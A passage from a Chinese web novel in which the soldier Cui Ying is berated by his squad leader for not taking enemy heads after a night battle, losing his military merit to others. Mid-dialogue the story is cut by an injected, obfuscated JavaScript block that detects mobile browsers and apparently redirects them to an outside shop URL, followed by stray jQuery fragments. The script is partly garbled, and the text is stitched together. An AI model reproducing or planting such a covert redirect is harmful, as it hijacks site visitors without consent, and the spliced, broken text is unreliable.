“你两老了觉少,我可还年轻着。”说着他打了个哈欠:“我还在长身体呢。”
“哟,崔郎君醒了——”是个好听的声音,斯斯文文的,不像是能在军伍中出现的。
崔赢的瞌睡虫被这声崔郎君吓得没了,天可怜见,他这辈子还没被人叫过崔郎君,哪怕是在乡里,人大多叫他崔家小子或崔赢,最多有几个咬文嚼字的叫他崔郎或崔小郎,这还是头一遭,有人叫他崔郎君。
他抬眼一瞧这人,身材微胖,皮肤漆黑,头发被头巾绑在头上,不是他认识的人。
他又低下头,给鸡翻了个滚。
那人便大剌剌走到他旁边,自来熟道:“我今日才晓得前夜是你在帮我,便给你带了点熏肉来。”
“前夜?”崔赢微微抬头,眼中神色从疑惑转为恍然,他“哦”了一声,下巴一抬指向一个方向:“便放那吧。”
来人讪讪点头,道了谢,把肉放下便走了。
他本还想和这个小兄弟套套近乎,过来才发现这个人有些难搞,套近乎的心思又没了。
洪漆看到有熏肉,闻着味儿就跑来了,乐呵呵道:“咱营里还是有些有良心的,前夜阿赢可是帮了许多人,这便有人送肉来了。”
“帮了许多人?”卢弦这才意识到什么,他问:“前夜那马上的人是阿赢?”
“是啊。”洪漆凑近熏肉狠狠嗅了一下:“阿赢还帮了我呢,要不我也割不下那甲士的头。”
“你好似没带回任何一个首级来。”卢弦又看向崔赢,皱眉:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16757507|189689||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
你怎不割了他们的头?”
“那不是来不及吗?昨夜我可是骑着马从西边跑到了东边,又从东边跑到北边,把这关城都逛了一边,把路上遇到的羝族人都捅了几下,嘿,刚刚那送熏肉来的便是来谢我的。”崔赢说起这里还颇为得意:“伍长你是不知道我在马上是何等威风,神挡杀神,佛挡杀——”
“还杀神呢!你个没脑子的,你的军功都被那些人抢了!怎么会有人战胜后不割首级呢,你这不是给别人送功劳吗?”黄元死的时候卢弦情绪波动都没有这么大,此刻却是直接把鸡塞给洪漆处理,站到崔赢跟前破口大骂:“那可是功劳啊,这世上真是没有比你更大方的人了!”
“我就是不习惯。”他杀鸡都不砍头呢,杀人不砍头怎么了,不确定死没死就在喉咙多扎两下,把人头割下来,那鲜血像水管放水一样从喉管直冒,看着还是太恶心了:“再说那种情况,我哪有时间停下来割头呢,我那不得多捅几个?”
“多捅几个有什么用,功劳不都在别人头上?”卢弦着实有些生气,这军功多难得,他要是有崔赢这般神力,也不会混到如今还是一个小小伍长。
他少时便被人冒领过军功,虽说最后告发那人夺了回来,可这中间种种也让人恶心得够呛。这种能被人夺军功的机会,便是出都不能出现。
“阿赢,你想想,让那些抢你功劳的人爬到你头上,这不难受吗?”
这话倒也确实是这个道理。